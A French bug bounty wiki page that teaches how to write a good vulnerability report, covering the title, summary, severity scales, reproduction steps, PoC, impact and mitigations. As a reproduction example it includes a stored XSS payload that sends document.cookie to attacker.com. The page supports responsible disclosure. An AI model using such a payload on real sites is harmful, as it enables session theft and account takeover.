Pentest & Bug Bounty
  • 🥷Pentest et Bug Bounty
    • 👾Pentest Methodology
    • 💸Bug Bounty Methodology
      • 📓Ecrire un bon rapport
      • ⚖️Aspect Juridique (FR)
  • 👣OSINT / Recon
    • 🧦Sock Puppet
    • 🧠Mindmaps
    • 🏢Entreprise
    • 👀Leaks
    • 👊Manuel / Dorks
      • Google dorks
      • Github dorks
      • Twitter Dorks
      • Shodan Dorks
    • 👥Réseaux sociaux (SOCMINT)
      • 🕵️Telegram OSINT
      • 👻Snapchat OSINT
      • 🤵‍♂️Linkedin OSINT
      • 🗣️Facebook OSINT
      • 🎼Tik tok OSINT
      • 📷Instagram OSINT
      • 🐦Twitter OSINT
      • 🔊Discord OSINT
    • 🖇️Domaines et Sous-domaines
    • 🚪Scan de ports / web
    • ✉️Emails
    • 🔗Réseau
    • 📷Screenshots
    • 📹Live camera
    • 🧔Reconnaissance faciale / images
    • 🌆Images
    • 🗺️Maps
    • 👁️Active Directory
    • ☁️Cloud
    • Autre
  • 🌐Pentest Web
    • ✊Brute force / Fuzzing
    • 💉Injections
      • 🍪XSS
        • PDF injection
      • 📄HTMLi
      • 📃XXE
      • 7️⃣SSTI
      • 🔢SQLi
        • 👫UNION based
        • ⏳Time based
        • 🥽Boolean based / Error Based
        • 📤Out-Of-Band
      • ↩️CRLF
      • 🐚OS injection
      • ☕Log4Shell
      • 🥠CSV
      • 🍻ESI
      • 😎XSLT
      • 💌Injections dans emails
      • 🔀ELi
        • OGNLi
    • ↪️Open redirect
    • 📁Path Traversal / LFI / RFI
    • 🔓Bypass
      • 〰️WAF / Filter bypass
      • 2️2FA
    • ☠️Charges utiles
    • 📚CMS (Content Management System)
      • WordPress
      • Joomla!
      • Magento
      • Drupal
    • 🎭SOP bypass
      • CORS
      • postMessage()
      • JSONP
    • 🖱️Clickjacking
    • ⚙️Insecure deserialization
    • ☣️Web Cache Poisoning / Deception
    • 🤝HTTP Smuggling
    • 👋OAuth
    • ⛔SAML
    • 🗝️JSON Web Token
    • 🎣CSRF
      • 🚀Cross-site WebSocket Hijacking (CSWSH)
    • 🎯IDOR
    • 🕹️SSRF
      • Cloud SSRF
      • Protocol Smuggling
    • ⚙️APIs
      • 🍽️REST
      • 📶GraphQL
    • ❓Mot de passe oublié
    • 🛒Fonctions d'achat et de facturation
    • 👽Broken authentication / register
    • 🏁Panneaux d'administration
    • ⏬Upload features
    • 🔗Broken Link Hijacking
    • 🎮Prise de contrôle de sous-domaine
    • 🛂Prise de contrôle de DNS
    • ☝️One liners
    • 🚧Misconfigurations
    • 🗿Analyse statique
      • PHP
      • Ruby On Rails
      • Perl
      • JAVA
      • Javascript
      • Python
      • Golang
      • .NET
    • 🪣AWS S3
    • 🤖Captcha
    • 🪞Race conditions
    • ☄️.git exposé
    • 💭Business logic
    • 🥡Prototype pollution
    • 💣Dependency confusion
    • 🛑DoS
      • 🤯ReDoS
      • 👏Hash flooding
      • 🧨Cookie bomb
    • Autre
      • Flask
      • Symphony
      • Spring Boot
      • Django
      • Jenkins
  • 🌩️Pentest Cloud
    • IaC (Infrastructure as Code)
      • Terraform
      • Helm
      • Kustomize
    • AWS
      • Enumeration
    • Azure
      • Entra ID
      • Azure Resource Manager (ARM)
        • Enumeration
    • GCP
      • GCP IAM
      • Authentification
      • Enumeration
    • Kubernetes
  • 🕸️Pentest Réseau
    • 🪡Protocoles réseau
    • 📡Wifi
    • 🔋BLE
    • 📍VPN
  • 🗂️Pentest AD
    • 👺GPP
    • ➡️Mouvements latéraux
      • 🔪Pass The Hash
      • 🗡️Over Pass The Hash
    • 📜ADCS
  • 📱Pentest Mobile
    • 🤖Android
      • 👾Méthodologie
      • 🌳Setup environnement
      • 🍇Collecte d'informations
      • 🔠Enumeration des données locales
      • 🔙Reverse engineering
        • 🪢Dé-obfuscation
      • ⛰️Analyse statique (Android)
      • 🐞Debug
      • 🎰Stockage de données non sécurisé
        • 📰Logs
        • 🤝Shared Preferences
        • 🔤Strings
        • 🗄️SQLite DB
        • 🗃️Realm DB
        • 🧠Mémoire
        • 📍Copy/Paste buffer caching
        • ⌨️Keyboard press caching
        • 🔙Backup
        • Carte SD
      • 🌩️Firebase/Appspot misconfig
      • 🔗Deeplinks vulns
        • Interception de contenu
        • WebView hijacking (via deeplink)
        • Invalid Digital assets links
      • 🖼️WebView vulns
        • WebView Hijacking
        • Exfiltration de données
        • RXSS
        • Vol de token
      • Guides outils
        • ⛏️Outil Drozer
          • Injections SQL (Android)
          • Path traversal (Android)
        • 🔬Outil Objection
        • 🪝Outil Frida
        • Outil Medusa / Mango
      • Bypass
        • 📲Contournement de détection d'emulateur
          • 📂Fichiers d'emulateurs
          • 🙋‍♂️Network Operator Name
        • 🦷Contournement des détections de rootage
          • 🧮Root management
          • 🗝️Clé de signature du noyau
          • 🧊Props dangereux
          • 🦸‍♂️Binaire "su"
          • ❌Permissions sur les repertoires
        • ☝️Contournement des protections biometriques
        • 📜SSL pinning bypass
        • Contournement de code PIN
      • 🔳Lecteur de code QR/EAN/Barres...
      • 💔Injection de backdoor
      • 🪧Task hijacking
      • 🎭Overlay attacks
        • Tapjacking
        • Invisible Keyboard
      • 📵Résilience
        • ⌨️Third Party Keyboards
        • ©️Allowed Copy/Paste on sensitive fields
        • 🛤️Background screen caching
        • 🖋️Schémas de signature
        • ⬆️In-App updates
      • 🤯Corruption de Mémoire
    • 🍏iOS
      • 🥅Méthodologie
      • 🧱Setup environnement (iOS)
      • ⏮️Reverse engineering (iOS)
      • 🏔️Analyse statique (iOS)
      • 🧿Contournement de détection de Jailbreak
      • 📌SSL pinning bypass (iOS)
      • 👇Contournement d'authentification biométrique
      • 🐛Contournement d'anti-Hooking/Debugging
      • 🙈Stockage de données non sécurisé (iOS)
        • 💭Mémoire (iOS)
        • 🏓Copy/Paste buffer caching (iOS)
        • 🍪Cookies (iOS)
        • 🗞️Logs (iOS)
        • ⌨️Cache du clavier (IOS)
        • Backup (IOS)
      • 📱Background screen caching
      • 🧑‍🚀WebView vulns (iOS)
      • Deeplinks vulns (iOS)
      • Lecteur de code QR
      • Firebase misc
  • 👷Pentest physique
    • 🔐Crochetage
    • 💳RFID
    • ⚙️Equipements
    • 💾Hardware Hacking
      • 📈UART
      • 🧪JTAG
      • ⚡SWD
      • 🪢SPI
      • 🚌I²C
      • 🔴Fault Injection
      • Side-Channel Attacks
    • 🐣Firmware hacking
  • 🖨️Pentest IoT
    • ⏪Replay de stream camera
    • 🗣️Assistants vocaux
    • 📹Camera IP
    • ⬇️DoS
    • 🖨️Imprimantes
    • 🎬Chromecast
  • 💀Hacking protocols
    • 😩Telnet - port 23
    • 🔐SSH - port 22
    • 📤FTP - port 21
    • ❔Whois - port 43
    • 👉DNS - port 53
    • 🐕‍🦺Kerberos - port 88
    • 💼SNMP - ports 161-162
    • 📨SMB - ports 445-139
    • 📧SMTP - ports 25-587
    • 🎦RTSP - port 554
    • 🔎MS-RPC - ports 135-593
    • ➕Rsync - port 873
    • 🔢MS-SQL - port 1433
    • 🏗️Docker - port 2375
    • 🔡MySQL - port 3306
    • 📝LDAP - ports 389, 636, 3268, 3269
    • 🖥️RDP - port 3389
    • ⌨️VNC - ports 5800,5801,5900,5901
  • 😈Ingénierie sociale
    • 🧠Concepts / Principes / Attaques
    • 🪧Ethique
    • 👤Profils comportementaux
  • 🔓Crack
  • 🛠️Autres outils utiles
    • 🚿Sandbox / Sanitizer
    • 🔤Générateurs de wordlists personnalisées
  • 🌜Post-Exploitation
    • 👔Énumération /Élévation de privilèges
      • 🐧Linux
        • CVE-2022-0847 (Dirty Pipe)
        • CVE 2021-4034 (PwnKit)
        • CVE 2021-3560 (Polkit)
      • 🪟Windows
        • 🖨️PrintNightmare
        • 🖨️SpoolFool
        • 🆔Usurpation de SAMAccountName
        • ⏲️Scheduled task/job (T1573.005)
        • 🐝HiveNightmare
        • 🔑Stored Credentials
        • 🎩SeImpersonatePrivilege
        • 🎒SeBackupPrivilege
        • 🍞Unquoted Service Path
        • 🧩DLL Hijacking
        • ©️SeBackupPrivilege
      • ⛴️Docker
    • 👻Effacement des traces
    • ⚓Persistance / Downloaders
    • 🛡️Defense evasion
    • 📦Exfiltration de Données
  • 🔎Forensic
    • 💡Méthodologie
    • 📺Live forensic
    • 💻Mémoire non volatile
    • 🕊️Mémoire volatile
    • 📄File forensic
Propulsé par GitBook
Sur cette page
  • 2 - Fournir un résumé clair
  • 3 - Inclure une évaluation de la gravité
  • 4 - Donner clairement les étapes à suivre pour reproduire la vulnérabilité
  • 5 - Fournir un Proof of Concept (PoC)
  • 6 - Décrire les scénarios d'attaque et d'impact
  • 7 - Recommander des mesures d'atténuation ou résolution
  • 8 - Valider le rapport
  • Autre
  • Ne présumez rien

Cet article vous a-t-il été utile ?

  1. Pentest et Bug Bounty
  2. Bug Bounty Methodology

Ecrire un bon rapport

1 - Utiliser un titre descriptif

La première partie d'un bon rapport de vulnérabilité est toujours un titre descriptif.

Utilisez un titre qui résume le rapport en une phrase. Idéalement, il devrait permettre à l'équipe de sécurité d'avoir immédiatement une idée de la vulnérabilité, sur quel partie de périmètre elle se trouve et potentiellement sa gravité.

Pour cela, le titre doit répondre à ces trois questions:

  • Quelle est la vulnérabilité ou le type de vulnérabilité ? (XSS, IDOR, information disclosure...)

  • Où se trouve cette vulnérabilité ?

  • Quelle est la finalité de la vulnérabilité ?

XSS found on a critical endpoint -> pas assez précis

Bonne solution:

XSS found on https://exemple.com/profile and POST parameter "param" leads to account takeover.

Votre but est de donner aux personnes en charge de fixer le bug une idée du contenu dont vous allez parler par la suite.

2 - Fournir un résumé clair

Cette section inclue toutes les informations utiles qui n'ont pas pu être mis dans le titre comme les paramètres de la requête HTTP utilisés, la façon dont la vulnérabilité a été trouvée etc.

Exemple:

http://exemple.com/profile takes three POST body parameters: user_token, user_name and user_bio. special caracters like <>{}''()# are not filtered and users inputs are not validate allowing them to execute scripts in their name or biography field. An attacker can use this to exploit LFI.

On bon résumé de rapport est clair et concis, il contient tous les détails du titre précédemment donné (bug, localisation, ce que l'attaquant peut faire grâce à lui).

3 - Inclure une évaluation de la gravité

L'inclusion d'une évaluation de la gravité de la vulnérabilité trouvée aidera les équipes de sécurité à hiérarchiser les vulnérabilités à corriger.

Vous pouvez vous baser sur une méthode d'évaluation comme celle-ci par exemple:

  • Mineur : faible risque pour l'entreprise pouvant nécessiter une correction. (exp: Open redirect seulement utilisable pour du phishing)

  • Important : risque modéré pour l'entreprise et nécessitant une correction à moyen terme. (exp: CSRF)

  • Majeur : risque majeur pour l'entreprise nécessitant une correction à court terme. (exp: Account Takeover)

  • Critique : risque critique pour l'entreprise nécessitant une correction immédiate ou imposant un arrêt immédiat du service. (exp: RCE)

La gravité d'une d'une vulnérabilité peut être évaluée de cette manière grâce à deux critères, la facilité d'exploitation :

  • Facile : exploitation triviale, sans outil particulier

  • Modérée : exploitation nécessitant des techniques simples et des outils disponibles publiquement.

  • Elevée : exploitation de vulnérabilités publiques nécessitant des compétences en sécurité des systèmes d’information et le développement d’outils simples.

  • Difficile : exploitation de vulnérabilités non publiées nécessitant une expertise en sécurité des systèmes d’information et le développement d’outils spécifiques et ciblés.

Puis le niveau d'impact :

  • Mineur : pas de conséquences directes sur la sécurité du système d’information audité

  • Important : conséquences isolées sur des points précis du système d’information audité

  • Majeur : conséquences restreintes sur une partie du système d’information audité

  • Critique : conséquences généralisées sur l’ensemble du système d'information audité.

On peut aussi s'aider d'un calculateur de CVSS pour calculer le score CVSS de la vulnérabilité trouvée.

4 - Donner clairement les étapes à suivre pour reproduire la vulnérabilité

Il s'agit ensuite de donner pas-à-pas les actions à effectuer pour reproduire la vulnérabilité.

Il faut inclure toutes les conditions préalables de configuration si il y en a, l'idée est de faire comme si la personne qui lira ce rapport n'a aucune idée du fonctionnement de l'application.

Exemple:

1 - Log onto https://exemple.com/

2 - Go to "my profile" section in the top right corner of the page

3 - Change your username to "><script>fetch('https://attacker.com/?cookie='+document.cookie)</script>

4 - You can now retrieve other users authentication cookies and use them to takeover their session.

5 - Fournir un Proof of Concept (PoC)

Pour les vulnérabilités simple à reproduire, l'usage d'un PoC n'est pas nécessaire. Pour les vulnérabilité plus complexes, il est recommendé de fournir, vidéos, capture d'écran ou photos documentant l'exploitation de celle-ci.

Par exemple pour une faille de file upload, fournir le webshell, reverse shell ou autre fichier contenant la charge utile utilisée permet aux équipes de sécurité de reproduire la vulnérabilité plus simplement en utilisant directement les ressources que vous avez utilisé.

6 - Décrire les scénarios d'attaque et d'impact

Cette étape permet de donner aux équipes de sécurité de visualiser l'impact potentiel de l'exploitation de la vulnérabilité par un hacker malveillant.

Il s'agit donc de se mettre dans la peau d'un hacker malveillant et essayer d'intensifier l'impact de la vulnérabilité autant que possible, de donner à l'entreprise le pire scénario pouvant leur arriver avec l'exploitation de cette vulnérabilité.

Attention, il faut que l'impact donné soit réaliste, le but est d'intensifier au maximum l'impact sans pour autant partir dans des hypothèses potentiellement impossibles.

7 - Recommander des mesures d'atténuation ou résolution

Donner des mesures d'atténuation ou de résolution complète du bug permettra aux équipes de sécurité de gagner du temps et d'avoir le point de vue du chercheur.

Exemples:

  • Utiliser la commande htmlspecialchar() pour filtrer les caractères spéciaux en PHP.

  • Utiliser l'instruction HttpOnly pour éviter l'accès aux cookies en Javascript.

  • ...

Attention: Ne pas faire de recommandation en cas de doute, les équipes de sécurité aurons probablement un meilleur contexte et une meilleur connaissance du fonctionnement de l'application.

8 - Valider le rapport

Enfin, vérifier une dernière fois votre rapport avant de l'envoyer afin de vérifier si il ne contient pas d'erreur ou d'ambiguïté pouvant empêcher l'équipe de sécurité de le comprendre. Cette étape est indispensable pour réduire au maximum le risque que celui-ci soit invalidé.

Autre

Ne présumez rien

Ne présumez pas que l'équipe de sécurité comprendra tout dans votre rapport, les start-up notamment ont rarement une équipe dédiée à la sécurité. Aidez-les à comprendre vos découvertes et accompagnez les le plus possible. Il est aussi bon d'inclure des références pour les détails techniques.

PrécédentBug Bounty MethodologySuivantAspect Juridique (FR)

Dernière mise à jour il y a 2 ans

Cet article vous a-t-il été utile ?

🥷
💸
📓
Tableau d'évaluation de la gravité